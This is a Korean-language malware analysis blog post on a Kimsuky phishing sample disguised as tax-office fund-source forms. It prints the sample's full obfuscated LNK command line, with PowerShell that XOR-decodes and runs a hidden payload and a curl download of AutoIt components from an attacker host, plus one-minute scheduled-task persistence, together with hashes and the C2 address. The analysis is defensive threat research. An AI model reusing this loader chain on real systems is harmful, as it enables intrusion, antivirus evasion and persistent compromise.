꿈을꾸는 파랑새

오늘도 북한 김수키(Kimsuky)에서 만든 악성코드인 미신고 자금 출처명세서(찾아가는 법 찾기).zip(2025.6.4)에 대해 알아보겠습니다. 일단 대충 견적을 보면 이메일로 피해자를 담그려고 한 것 같은 느낌이 듭니다.
파일명: 미신고 자금 출처명세서(찾아가는 법 찾기).zip
사이즈:1 MB
MD5:e2328974ecc81be06619bbd06ebfacb4
SHA-1:f1aa607507e97cf2dee3d3059d3b2b1e73e04087
SHA-256:b24b1aa0a95e1c1a594bd8b34877fa156106bc0c41a4022ab7c4d3a9d6edfaa3

미신고 자금 출처명세서(찾아가는 법 찾기) 압축 파일에 포함된 파일
미신고 자금 출처명세서(찾아가는 법 찾기) 압축 파일에 포함된 파일

압축 파일 내용

첨부2.과세표준수정신고서 및 추가자진납부계산서(국세기본법 시행규칙)
첨부1.취득자금 소명대상 금액의 출처 확인서(국제조세조정에 관한 법률 시행규칙).hwp
미신고 자금출처명세서(부가가치세법 시행규칙).hwp.lnk<-이게 핵심
해시
파일명:미신고 자금출처명세서(부가가치세법 시행규칙).hwp.lnk
사이즈:1 MB
MD5:cc72c5bf20e8d5d6efa66dfc1d8efaa4
SHA-1:31bd1480d76972b1727c9ef6953741fd62721fa8
SHA-256:2d516c97e510bbdfb89eae329b88e0bf5557105b8e1f1de91f88f0e944835f15
뭐~대충 보면 hwp 가 디코이인 것 같은 것 알 수가 있습니다.

악성코드 동작을 위한 PowerShell
악성코드 동작을 위한 PowerShell

StringData
{
    namestring: Type: HWP 2022 Document
    Size: 27 KB
    Date modified: 03/23/2025 14:51
    relativepath: not present
    workingdir: not present
    commandlinearguments:
	/c for /f "tokens=*" %a in ('dir C:\Windows\SysWow64\WindowsPowerShell\v1.0\*rshel
    l(.)exe /s /b /od') do call %a "$managing=0;<#App-Poisoning#>$baker='(l)ength';<#App
    -Poisoning#>$dates=Get-Location;$crystal=&(gcm *et-Child*) *.lnk;<#App-Poisoning#>$c
    rystal=$crystal|(w)here-object{$_.$baker -eq 0x0000891F};<#App-Poisoning#>$flexiblen
    side(r)=$crystal;<#App-Poisoning#>$crystal=$crystal|Select-Object -ExpandProperty Na
    me;<#App-Poisoning#>if([string]::IsNullOrEmpty($crystal)){$managing=1;<#App-Poisoni(n)
    g#>$dates=$env:USERPROFILE;<#App-Poisoning#>$dates=$dates+'\appdata\local\te(m)p';<#Ap
    p-Poisoning#>$crystal=Get-ChildIt(e)m -Path $dates -Recurse -Filter *.lnk|where-object
    {$_.$baker -eq 0x0000891(F)}|ForEach-Object{$_.FullName}|Select-Ob(j)ect -First 1;<#Ap
    p-Poisoning#>$flexiblensider=$cryst(a)l};<#App-Poisoning#>$toshiba=$crystal.subst(r)in
    g(0,$crystal.length-4);$actual=[System.IO.BinaryReader]::new([System.IO.File]::open($c
    rystal,[Syst(e)m.IO.FileMode]::Open,[System.IO.FileAccess]::Read,[System.IO.FileShare]
    ::Read));try{$actual.BaseStream.Seek(0x0000182A,[Sy(s)tem.IO.SeekOrigin]::Begin);$appe
    al=$actual.ReadBytes(0x00004800);}finally{$actual.Close()};$copper=0;$outlet=0;$gadget
    s=$a(p)peal.count;while ($copper -lt $gadgets){$period=0x01;$outlet=$copper-[math(])::
    Floor($copper/$period)*$per(i)od;$preview=0x7F+$outlet;$appeal[$copper]=$appeal[$coppe
    r] -bxor $preview;$copper++};[Syste(m).IO.File]::WriteAllBytes($toshiba,$appeal);if($m
    anaging -eq 1){$blocks=$toshiba}else{$blocks='.\'+$toshiba};& ($)blocks;remove-item -p
    ath $flexiblensider -force;"&VGnNWAKjlxZpgiwvLDqrzQYmfRPMbCsJFduekUatX||c()d /d C:\Use
    rs\Public\Videos & copy c:\windows\system32\curl(.)exe pJHUsvn.exe & copy c:\windows\s
    ystem32\schtasks(.)exe pJHUsvn1.exe & pJHUsvn -k -o AutoIt3(.)exe hxxps://thegreatrati
    ngs(.)com/wp-admin/js/widgets/hurryup/?rv=bear^&z(a)=battle0 & pJHUsv(n) -k -o CfjiFUW
    .cdr hxxps://thegreatratings(.)com/wp-admin/js/widgets/hurryup/?rv=bear^&z(a)=battle1 
    & pJHUsv(n)1 /delete /tn "CfjiFUW" /f & pJHUsvn1 /create /sc mi(n)ute /mo 1 /tn "CfjiF
    UW" /tr "C:\Users\Public\Videos\AutoIt3(.)exe C:\Users\Public\Videos\Cfj(i)FUW(.)cdr"
    iconlocation: .hwp
}

악성코드 분석

명령어는 총 2가지
1.PowerShell 기반 악성 행위 수행 (파일 탐색, 디코딩, 실행, 삭제)
2. 네트워크 기반 페이로드 다운로드 및 예약 작업 생성
1. 첫 번째 명령어 분석 사전 배치된 rshell.exe 실행
C:\Windows\SysWow64\WindowsPowerShell\v1.0 디렉터리 내에서 rshell.exe 를 존재하는지 확인 찾아낸 파워셸을 이용해 길고 난독화된 스크립트를 실행
/od 옵션으로 파일을 날짜순으로 정렬하고 이는 특정 버전의 파워셸을 대상을 하기 위한 목적 /s /b는 하위 폴더까지 검색하여 전체 경로만 출력하게 함
powershell.exe를 우회하거나 탐지 피하기 위한 목적
do call %a ... 를 통해 이후에 설명할 복잡한 PowerShell 스크립트를 진행

악성코드 실행
악성코드 실행

2.PowerShell 내부 코드
.lnk (바로가기 파일) 검색 및 필터링
.lnk 파일들을 검색하고 특정 속성 (length == 0x000(0)891F) 을 조건을 만족하는 파일만 필터링
$baker = length 로 설정되어 있으므로 파일의 길이/속성 기준으로 필터링
.lnk 파일은 공격자가 데이터 은닉을 하려고 사용(즉 .lnk 파일 내부에 셸 코드 숨겨져 있음)
해당 값 0x000(0)891F (10진수로 35007)는 공격자가 임의로 정한 파일 마커
우회적 디코딩 경로 설정
.lnk 파일을 찾지 못하면 사용자 TEMP 폴더에서 재검색
.lnk 파일을 바이너리로 열고 오프셋 0x182A (6194)부터 0x4800 (18432) 바이트 읽어들임

악성코드 실행 시 나오는 자금출처명세서
악성코드 실행 시 나오는 자금출처명세서

 

해당 영역은 쉘코드 혹은 악성 PE 파일 일부
XOR 연산으로 바이트들을 복호화->사용된 XOR 키는 간단하지만 고정되지 않으며 0x7F + ($index mod 1)->0x7F 
복호화한 페이로드 저장 및 실행
복호화된 내용을 새로운 파일로 저장
저장한 파일 ($toshiba) 를 실행
실행을 한 후 lnk 파일은 삭제
2. 외부 서버로부터 AutoIt 기반 페이로드 다운로드
curl.exe를 복사하여 이름을 pJHUsvn.exe로 변경해서 AV(안티바이러스)에 탐지 우회 목적
두 개의 파일 다운로드:
AutoIt3.exe
CfjiFUW.cdr

악성코드 실행 공용 폴더에 다운로드 된 악성코드
악성코드 실행 공용 폴더에 다운로드 된 악성코드

3.예약 작업 생성 (Persistence)
계속 작업을 하려고 윈도우 스케줄러에 등록해서 1분마다 실행되는 예약 작업 생성을 하며 AutoIt 인터프리터로 악성 스크립트를 반복 실행
추가로 계속 악의적인 목적을 주기적으로 실행하도록 설정하기 위함
여기서 자금출처명세서 이라는 hwp 파일을 볼 수가 있으며 해외반출되는 국내재산의 자금출처와 관련된 국세의 신고·납부 여부 및 체납된 국세의 납부 여부 등을 확인하여 국세 징수·예금압류 등 필요한 조처를 한 후 자금출처확인서를 발급하여 세금부담 없는 부당한 재산유출 방지이란 목적이 있는 자금출처명세서을 보여 줍니다.
대충 국세청인 것처럼 파일을 보내지 않았을까? 생각이 들기도 합니다.
사용자의 임시 폴더 (C:\Users\<사용자이름>\AppData\Local\Temp)
C:\Users\Public\Videos (공용 비디오 폴더) 에 잘 저장이 된 것을 확인할 수가 있습니다.

시만텍 Safe Web 에서 차단
시만텍 Safe Web 에서 차단

악성 도메인

66(.)96(.)162(.)245
2023-06-04 10:03:55부터 잘 사용을 하고 있습니다.
뭐~인증서는 Let's Encrypt 이고 구글 세이프 브라우징은 차단을 못 하고 믿었던 Emsisoft Browser Security도 차단을 못 하지만 노턴 시만텍 Safe Web은 차단하고 막고 있으니 한숨을 놓음
일단 해당 사이트는 살아있으니 제발 차단좀….
오늘도 우리 북한 김수키(Kimsuky)에서 언제나 우겨 먹고 사골국이 된 국세청 사칭 자금출처명세서를 악용한 악성코드에 대해 글을 적어 보았고 기본적으로 자신의 백신 프로그램은 좀 좋은 것 사용하는 습관을 그것도 AV 테스트에서 검증된 제품을….

공유하기

facebook twitter kakaoTalk kakaostory naver band